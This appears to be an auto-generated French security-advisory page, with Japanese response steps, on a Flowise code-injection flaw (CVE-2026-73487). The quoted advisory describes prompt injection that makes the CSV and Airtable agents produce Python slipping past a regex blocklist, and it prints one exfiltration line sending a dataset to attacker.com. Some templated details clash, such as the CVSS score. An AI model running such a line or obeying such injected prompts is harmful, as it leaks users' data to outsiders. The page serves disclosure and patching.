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CVE-2026-73487 critical CVSS 9.8

Injection de code dans flowise (CVE-2026-73487)

Résumé

Injection de code dans flowise (CVE-2026-73487). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via POST /api/v1/prediction/. Atténuation : mise à jour vers 3.1.3 ou plus.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

Summary

Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame()) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.

The most impactful bypass is trivial: pd.read_json("http://attacker.com/?d=" + df.to_json()) passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.

Severity

Critical (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Affected Versions

  • Flowise <= 3.1.2 (latest at time of disclosure)
  • Any deployment with a CSV Agent or Airtable Agent chatflow

Details

Root Cause

The validatePythonCodeForDataFrame() function (packages/components/src/pythonCodeValidator.ts) uses a blocklist of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because:

  1. Pandas URL-fetching functions are not blocked: pd.read_json(), pd.read_html(), pd.read_csv(), pd.read_fwf() all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern.

  2. **The \bimport\b regex does not match `import…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Résumé généré automatiquement

Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.

Une vulnérabilité référencée CVE-2026-73487 a été découverte dans flowise.
Des attaquants peuvent cibler un point d'entrée spécifique comme POST /api/v1/prediction/ à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 9.8/10.
Action : mettez à jour flowise vers 3.1.3 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « flowise CVE-2026-73487 » sur le site de l'éditeur.

CVE-2026-73487 (flowise) — CWE-94 / CVSS v3 9.8
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : POST /api/v1/prediction/ / importlib / import / np.ctypeslib
Correctif : 3.1.3 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.

❓ Quel est le problème

Une exécution de code arbitraire (CWE-94) affecte flowise. Les attaquants atteignent le code vulnérable via POST /api/v1/prediction/ sans authentification.

📍 Périmètre concerné

Consultez l'avis de l'éditeur pour les versions affectées de flowise. Surface d'attaque : POST /api/v1/prediction/ / importlib / import / np.ctypeslib.

🔥 Gravité

Gravité : Critique (CVSS 9.8/10). L'exploitation peut entraîner la prise de contrôle totale du système.

🔧 Comment corriger

Mettre à jour vers 3.1.3.

🛡️ Contournement

En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.

🔍 Détection

Recherchez dans les logs webserver/proxy/WAF des requêtes anormales vers POST /api/v1/prediction/ (en-têtes d'auth malformés, méta-caractères SQL). Auditez les fichiers de dépendances pour trouver flowise.

Actions de réponse

Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre

  1. 1
    Identify exposure identify 
    grep -r 'flowise' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で flowise を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Hunt for indicators of compromise detect 
    grep 'POST /api/v1/prediction/' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'

    アクセスログで POST /api/v1/prediction/ への異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。

  3. 3
    Apply patch patch 
    Upgrade flowise to 3.1.3

    ステージング環境で 3.1.3 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。

  4. 4
    Post-deployment verification verify 
    Replay attack against POST /api/v1/prediction/ on staging to confirm patch closes the vector

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。

Paquets affectés

pip flowise
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]
npm flowise
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]
npm flowise-components
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]

Références

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